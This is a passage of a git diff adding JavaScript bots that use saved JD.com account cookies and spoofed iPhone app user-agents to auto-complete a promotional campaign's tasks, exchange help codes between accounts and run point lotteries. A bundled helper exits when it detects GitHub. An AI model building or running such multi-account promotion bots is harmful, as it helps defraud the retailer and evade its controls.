"jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.bargainDetailInfoVo.status == 0){ + $.log(`\n还差:${data.bargainDetailInfoVo.bargainInfoVo.remainPrice}就砍到了`) + }else if(data.status == 1){ + $.log(`\n查询失败 请检查是否正确填写商品变量`) +} + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_kxcdz.js b/backUp/jd_kxcdz.js new file mode 100644 index 0000000..87042db --- /dev/null +++ b/backUp/jd_kxcdz.js @@ -0,0 +1,439 @@ +/* + +#开学充电站 +30 1 * * * jd_kxcdz.js, tag= 开学充电站 + +*/ +const $ = new Env('开学充电站') +const notify = $.isNode() ?require('./sendNotify') : ''; +cookiesArr = [] +CodeArr = [] +cookie = '' +var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list5tokenArr = [],list4tokenArr = [],list3tokenArr = [],list1tokenArr = [],list2tokenArr = [],listtokenArr = [],list0tokenArr = [],list1tokenArr = [] +var taskid,token,helpcode; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 +const invite=1;//新用户自动邀请,0关闭,1默认开启 +const logs =0;//0为关闭日志,1为开启 +var hour='' +var minute='' +if ($.isNode()) { + hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); + minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); +}else{ + hour = (new Date()).getHours(); + minute = (new Date()).getMinutes(); +} +//CK运行 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i =0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await gethelpcode() + await getlist() + await Ariszy() + await zy() + await Zy() + } +for(let i = 0; i < cookiesArr.length; i++){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}助力模块*********\n`); + await control() + await Lottery() + await userScore() +} + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function PostRequest(uri,body) { + const url = `https://api.m.jd.com/client.action`; + const method = `POST`; + const headers = {"Accept": "application/json, text/plain, */*", +"Accept-Encoding": "gzip, deflate, br", +"Accept-Language": "zh-cn", +"Connection": "keep-alive", +"Content-Type": "application/x-www-form-urlencoded", +"Cookie": cookie, +"Host": "api.m.jd.com", +"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" +} + return {url: url, method: method, headers: headers, body: body}; +} + +async function doTask(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("\n"+result.data.bizMsg+"\n") + await $.wait(8000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function DoTask(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Lottery(){ + const body = `functionId=healthyDay_getLotteryResult&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskId%22%3A7%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") + await $.wait(4000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getLottery(){ + const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22:%221E1xVyqw%22%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0 && result.data.result.lotteryReturnCode == 0){ + console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") + await $.wait(4000) + }else{ + $.log(result.data.bizMsg+" 恭喜你抽中了0豆豆\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Ariszy(){ + for(let j = 0; j < listtokenArr.length; j++){ + token = list2tokenArr[j] + taskid = listtokenArr[j].match(/\d+/) + $.log("TaskId:"+taskid) + $.log("Token:"+token) + await doTask() + await DoTask() + } + +} +async function scans(){ + for(let j = 0; j < list0tokenArr.length; j++){ + token = list1tokenArr[j]; + taskid = list0tokenArr[j].match(/\d+/) + $.log("TaskId:"+taskid) + $.log("Token:"+token) + await doTask() + await DoTask() +} +} +async function zy(){ + listtokenArr.splice(0,listtokenArr.length); + list2tokenArr.splice(0,list2tokenArr.length); +} +async function Zy(){ + for(let i = 0; i < 7; i ++){ + await scan() + await scans() + list0tokenArr.splice(0,list0tokenArr.length); + list1tokenArr.splice(0,list1tokenArr.length); + } +} +async function control(){ + for(let i = 0; i < list6tokenArr.distinct().length; i++){ + helpcode = list6tokenArr[i] + await dosupport() + await $.wait(4000) +} +} +async function dosupport(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskToken%22%3A%22${helpcode}%22%2C%22taskId%22%3A6%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getlist(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("查看任务列表\n") + let list1 = result.data.result.taskVos.find(item => item.taskId == 1) + + listtokenArr.push(1+list1.simpleRecordInfoVo.taskToken) +list2tokenArr.push(list1.simpleRecordInfoVo.taskToken) + + + let list2 = result.data.result.taskVos.find(item => item.taskId == 2) + for(let i = 0; i < list2.shoppingActivityVos.length; i ++){ + listtokenArr.push(2+list2.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list2.shoppingActivityVos[i].taskToken) + + } + + let list3 = result.data.result.taskVos.find(item => item.taskId == 3) + for(let i = 0; i < list3.followShopVo.length; i ++){ + listtokenArr.push(3+list3.followShopVo[i].taskToken) +list2tokenArr.push(list3.followShopVo[i].taskToken) + } + + /*let list4 = result.data.result.taskVos.find(item => item.taskId == 4) + for(let i = 0; i < list4.productInfoVos.length; i ++){ + listtokenArr.push(4+list4.productInfoVos[i].taskToken) +list2tokenArr.push(list4.productInfoVos[i].taskToken) +//$.log(list4.productInfoVos[i].taskToken) + }*/ + + let list5 = result.data.result.taskVos.find(item => item.taskId == 5) + for(let i = 0; i < list5.brandMemberVos.length; i ++){listtokenArr.push(5+list5.brandMemberVos[i].taskToken) +list2tokenArr.push(list5.brandMemberVos[i].taskToken) +//$.log(list5.followShopVo[i].taskToken) + } + + + + //$.log(JSON.stringify(listtokenArr)) + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function scan(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + +let list4 = result.data.result.taskVos.find(item => item.taskId == 4) + for(let i = 0; i < list4.productInfoVos.length; i ++){ +list0tokenArr.push(4+list4.productInfoVos[i].taskToken) +list1tokenArr.push(list4.productInfoVos[i].taskToken) +} + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function gethelpcode(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + +let list6 = result.data.result.taskVos.find(item => item.taskId == 6) + list4tokenArr.push(6+list6.assistTaskDetailVo.taskToken) +list6tokenArr.push(list6.assistTaskDetailVo.taskToken) + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + +async function userScore(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + let userScore = result.data.result.userInfo.userScore + $.log("共有金币:"+userScore+";开始抽奖"+Math.floor(userScore/500)+"次") + for(let i = 0; i < Math.floor(userScore/500); i++){ + await getLottery() + } + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +//showmsg +//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 + +async function showmsg() { + if (tz == 1) { + if ($.isNode()) { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + await notify.sendNotify($.name, message) + } else { + $.log(message) + } + } else { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + $.msg(zhiyi, '', message) + } else { + $.log(message) + } + } + } else { + $.log(message) + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +} +Array.prototype.distinct = function (){ + var arr = this, + result = [], + len = arr.length; + arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 + var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 + if(bool === -1){ + result.push(v); + } + }) + return result; +}; +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 